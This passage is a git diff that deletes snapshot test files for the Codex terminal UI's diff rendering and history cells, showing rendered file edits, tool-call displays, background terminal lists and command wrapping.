a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_delete_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_delete_block.snap deleted file mode 100644 index f15fc4792a..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_delete_block.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Deleted tmp_delete_example.txt (+0 -3) " -" 1 -first " -" 2 -second " -" 3 -third " -" " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_multiple_files_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_multiple_files_block.snap deleted file mode 100644 index f9641c4c1a..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_multiple_files_block.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 2 files (+2 -1) " -" └ a.txt (+1 -1) " -" 1 -one " -" 1 +one changed " -" " -" └ b.txt (+1 -0) " -" 1 +new " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block.snap deleted file mode 100644 index c6500096d8..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited example.txt (+1 -1) " -" 1 line one " -" 2 -line two " -" 2 +line two changed " -" 3 line three " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap deleted file mode 100644 index 833e01eaac..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: text ---- -• Edited hundreds.txt (+1 -1) - 97 line 97 - 98 line 98 - 99 line 99 - 100 -line 100 - 100 +line 100 changed - 101 line 101 - 102 line 102 - 103 line 103 diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_relativizes_path.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_relativizes_path.snap deleted file mode 100644 index b8764bd374..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_relativizes_path.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited abs_old.rs → abs_new.rs (+1 -1) " -" 1 -X " -" 1 +X changed " -" 2 Y " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines.snap deleted file mode 100644 index 7cd60394ed..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited long_example.txt (+1 -1) " -" 1 line 1 " -" 2 -short " -" 2 +short this_is_a_very_long_modified_line_that_should_wrap_across_m " -" ultiple_terminal_columns_and_continue_even_further_beyond_eighty_ " -" columns_to_force_multiple_wraps " -" 3 line 3 " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines_text.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines_text.snap deleted file mode 100644 index b0a0095fe0..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines_text.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: text ---- -• Edited wrap_demo.txt (+2 -2) - 1 1 - 2 -2 - 2 +added long line which - wraps and_if_there_i - s_a_long_token_it_wil - l_be_broken - 3 3 - 4 -4 - 4 +4 context line which - also wraps across diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_with_rename_block.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_with_rename_block.snap deleted file mode 100644 index 7582b948a8..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_with_rename_block.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited old_name.rs → new_name.rs (+1 -1) " -" 1 A " -" 2 -B " -" 2 +B changed " -" 3 C " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_120x40.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_120x40.snap deleted file mode 100644 index a621d69262..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_120x40.snap +++ /dev/null @@ -1,44 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 6 files (+9 -9) " -" └ assets/banner.txt (+3 -0) " -" 1 +HEADER VALUE " -" 2 +rocket 🚀 " Hidden by multi-width symbols: [(15, " ")] -" 3 +city 東京 " Hidden by multi-width symbols: [(13, " "), (15, " ")] -" " -" └ examples/new_sample.rs (+3 -0) " -" 1 +pub fn greet(name: &str) { " -" 2 + println!("Hello, {name}!"); " -" 3 +} " -" " -" └ legacy/old_script.py (+0 -3) " -" 1 -def legacy(x): " -" 2 - return x + 1 " -" 3 -print(legacy(3)) " -" " -" └ scripts/calc.txt → scripts/calc.py (+1 -1) " -" 1 def add(a, b): " -" 2 - return a + b " -" 2 + return a + b + 42 " -" 3 " -" 4 print(add(1, 2)) " -" " -" └ src/lib.rs (+2 -2) " -" 1 fn greet(name: &str) { " -" 2 - println!("hello"); " -" 3 - println!("bye"); " -" 2 + println!("hello {name}"); " -" 3 + println!("emoji: 🚀✨ and CJK: 你好世界"); " Hidden by multi-width symbols: [(29, " "), (31, " "), (43, " "), (45, " "), (47, " "), (49, " ")] -" 4 } " -" " -" └ tmp/obsolete.log (+0 -3) " -" 1 -old line 1 " -" 2 -old line 2 " -" 3 -old line 3 " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_80x24.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_80x24.snap deleted file mode 100644 index 31aa46e279..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_80x24.snap +++ /dev/null @@ -1,28 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 6 files (+9 -9) " -" └ assets/banner.txt (+3 -0) " -" 1 +HEADER VALUE " -" 2 +rocket 🚀 " Hidden by multi-width symbols: [(15, " ")] -" 3 +city 東京 " Hidden by multi-width symbols: [(13, " "), (15, " ")] -" " -" └ examples/new_sample.rs (+3 -0) " -" 1 +pub fn greet(name: &str) { " -" 2 + println!("Hello, {name}!"); " -" 3 +} " -" " -" └ legacy/old_script.py (+0 -3) " -" 1 -def legacy(x): " -" 2 - return x + 1 " -" 3 -print(legacy(3)) " -" " -" └ scripts/calc.txt → scripts/calc.py (+1 -1) " -" 1 def add(a, b): " -" 2 - return a + b " -" 2 + return a + b + 42 " -" 3 " -" 4 print(add(1, 2)) " -" " -" └ src/lib.rs (+2 -2) " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_94x35.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_94x35.snap deleted file mode 100644 index 270ab3c374..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_94x35.snap +++ /dev/null @@ -1,39 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 6 files (+9 -9) " -" └ assets/banner.txt (+3 -0) " -" 1 +HEADER VALUE " -" 2 +rocket 🚀 " Hidden by multi-width symbols: [(15, " ")] -" 3 +city 東京 " Hidden by multi-width symbols: [(13, " "), (15, " ")] -" " -" └ examples/new_sample.rs (+3 -0) " -" 1 +pub fn greet(name: &str) { " -" 2 + println!("Hello, {name}!"); " -" 3 +} " -" " -" └ legacy/old_script.py (+0 -3) " -" 1 -def legacy(x): " -" 2 - return x + 1 " -" 3 -print(legacy(3)) " -" " -" └ scripts/calc.txt → scripts/calc.py (+1 -1) " -" 1 def add(a, b): " -" 2 - return a + b " -" 2 + return a + b + 42 " -" 3 " -" 4 print(add(1, 2)) " -" " -" └ src/lib.rs (+2 -2) " -" 1 fn greet(name: &str) { " -" 2 - println!("hello"); " -" 3 - println!("bye"); " -" 2 + println!("hello {name}"); " -" 3 + println!("emoji: 🚀✨ and CJK: 你好世界"); " Hidden by multi-width symbols: [(29, " "), (31, " "), (43, " "), (45, " "), (47, " "), (49, " ")] -" 4 } " -" " -" └ tmp/obsolete.log (+0 -3) " -" 1 -old line 1 " -" 2 -old line 2 " -" 3 -old line 3 " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps.snap deleted file mode 100644 index a71c6058b5..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"1 +fn very_long_function_name(arg_one: String, arg_two: String, arg_three: Strin " -" g, arg_four: String) -> Result> { Ok(arg_o " -" ne) } " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps_text.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps_text.snap deleted file mode 100644 index 44ffb1c404..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps_text.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: text ---- -1 +fn very_long_function_name(arg_one: String, arg_two: String, arg_three: Strin - g, arg_four: String) -> Result> { Ok(arg_o - ne) } diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__theme_scope_background_resolution.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__theme_scope_background_resolution.snap deleted file mode 100644 index 0bc1afabdf..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__theme_scope_background_resolution.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: snapshot ---- -insert=Some(Rgb(12, 34, 56)) -delete=Some(Rgb(74, 34, 29)) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__wrap_behavior_insert.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__wrap_behavior_insert.snap deleted file mode 100644 index 58a20e3552..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__wrap_behavior_insert.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"1 +this is a very long line that should wrap across multiple terminal columns an " -" d continue " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__active_mcp_tool_call_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__active_mcp_tool_call_snapshot.snap deleted file mode 100644 index 0d07d39281..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__active_mcp_tool_call_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Calling search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesced_reads_dedupe_names.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesced_reads_dedupe_names.snap deleted file mode 100644 index d25fe9e80a..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesced_reads_dedupe_names.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Explored - └ Read auth.rs, shimmer.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_reads_across_multiple_calls.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_reads_across_multiple_calls.snap deleted file mode 100644 index 896afccbd9..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_reads_across_multiple_calls.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Explored - └ Search shimmer_spans - Read shimmer.rs, status_indicator_widget.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_sequential_reads_within_one_call.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_sequential_reads_within_one_call.snap deleted file mode 100644 index c37be2af9d..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_sequential_reads_within_one_call.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Explored - └ Search shimmer_spans - Read shimmer.rs - Read status_indicator_widget.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap deleted file mode 100644 index 11c767d155..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called search.find_docs({"query":"ratatui styling","limit":3}) - └ Error: network timeout diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap deleted file mode 100644 index a80a2815f1..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called metrics.summary({"metric":"trace.latency","window":"15m"}) - └ Latency summary: p50=120ms, p95=480ms. - No anomalies detected. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap deleted file mode 100644 index b04e885f05..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called - └ search.find_docs({"query":"ratatui - styling","limit":3}) - Found styling guidance in styles.md and - additional notes in CONTRIBUTING.md. - link: file:///docs/styles.md diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap deleted file mode 100644 index 3003b7c2f6..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called search.find_docs({"query":"ratatui styling","limit":3}) - └ Found styling guidance in styles.md diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap deleted file mode 100644 index a6136ce94c..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called - └ metrics.get_nearby_metric({"query":" - very_long_query_that_needs_wrapp - ing_to_display_properly_in_the_h - istory","limit":1}) - Line one of the response, which is - quite long and needs wrapping. - Line two continues the response with - more detail. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__error_event_oversized_input_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__error_event_oversized_input_snapshot.snap deleted file mode 100644 index 39f93d3ba2..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__error_event_oversized_input_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -■ Message exceeds the maximum length of 1048576 characters (1048577 provided). diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap deleted file mode 100644 index 3bac764326..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap +++ /dev/null @@ -1,26 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/mcp - -🔌 MCP Tools - - • docs - • Status: enabled - • Auth: Unsupported - • Command: docs-server - • Env: TOKEN=*****, APP_TOKEN=***** - • Tools: list - • Resources: (none) - • Resource templates: (none) - - • http - • Status: enabled - • Auth: Unsupported - • URL: https://example.com/mcp - • HTTP headers: Authorization=***** - • Env HTTP headers: X-API-Key=API_KEY_ENV - • Tools: ping - • Resources: (none) - • Resource templates: (none) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap deleted file mode 100644 index d534766368..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran first_token_is_long_en - │ ough_to_wrap - │ second_token_is_also_lon - │ … +1 lines - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap deleted file mode 100644 index f42a326d75..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran echo one - │ echo two - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap deleted file mode 100644 index 40341dc9b8..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran set -o pipefail - │ cargo test - │ --all-features --quiet - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap deleted file mode 100644 index d95dab34de..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Updated Plan - └ I’ll update Grafana call - error handling by adding - retries and clearer messages - when the backend is - unreachable. - ✔ Investigate existing error - paths and logging around - HTTP timeouts - □ Harden Grafana client - error handling with retry/ - backoff and user‑friendly - messages - □ Add tests for transient - failure scenarios and - surfacing to the UI diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_without_note_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_without_note_snapshot.snap deleted file mode 100644 index fabc715546..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_without_note_snapshot.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Updated Plan - └ □ Define error taxonomy - □ Implement mapping to user messages diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap deleted file mode 100644 index fa6bb26583..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • just fix - ↳ indented first - more indented diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_empty_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_empty_snapshot.snap deleted file mode 100644 index 1760c8cf54..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_empty_snapshot.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • No background terminals running. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_long_command_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_long_command_snapshot.snap deleted file mode 100644 index b279858581..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_long_command_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • rg "foo" src --glob '**/*. [...] - ↳ searching... diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_many_sessions_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_many_sessions_snapshot.snap deleted file mode 100644 index 08c30e6149..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_many_sessions_snapshot.snap +++ /dev/null @@ -1,25 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • command 0 - • command 1 - • command 2 - • command 3 - • command 4 - • command 5 - • command 6 - • command 7 - • command 8 - • command 9 - • command 10 - • command 11 - • command 12 - • command 13 - • command 14 - • command 15 - • ... and 4 more running diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_multiline_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_multiline_snapshot.snap deleted file mode 100644 index 58e9c681a4..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_multiline_snapshot.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • echo hello [...] - ↳ hello - done - • rg "foo" src - ↳ src/main.rs:12:foo diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap deleted file mode 100644 index 12da3a4a1d..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran echo - │ this_is_a_very_long_si - │ ngle_token_that_will_w - │ … +2 lines - └ error: first line on - stderr - error: second line on - stderr diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap deleted file mode 100644 index b48bfa37ef..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -╭─────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ model: gpt-5 /model to change │ -│ directory: /tmp/project │ -╰─────────────────────────────────────╯ - - Tip: Model just became available diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_compact_when_fits.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_compact_when_fits.snap deleted file mode 100644 index d986f5ef18..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_compact_when_fits.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran echo ok - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap deleted file mode 100644 index c6a4816616..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran a_very_long_token_ - │ without_spaces_to_ - │ force_wrapping - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap deleted file mode 100644 index 244bc50ec7..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran seq 1 10 1>&2 && false - └ 1 - 2 - … +6 lines - 9 - 10 diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap 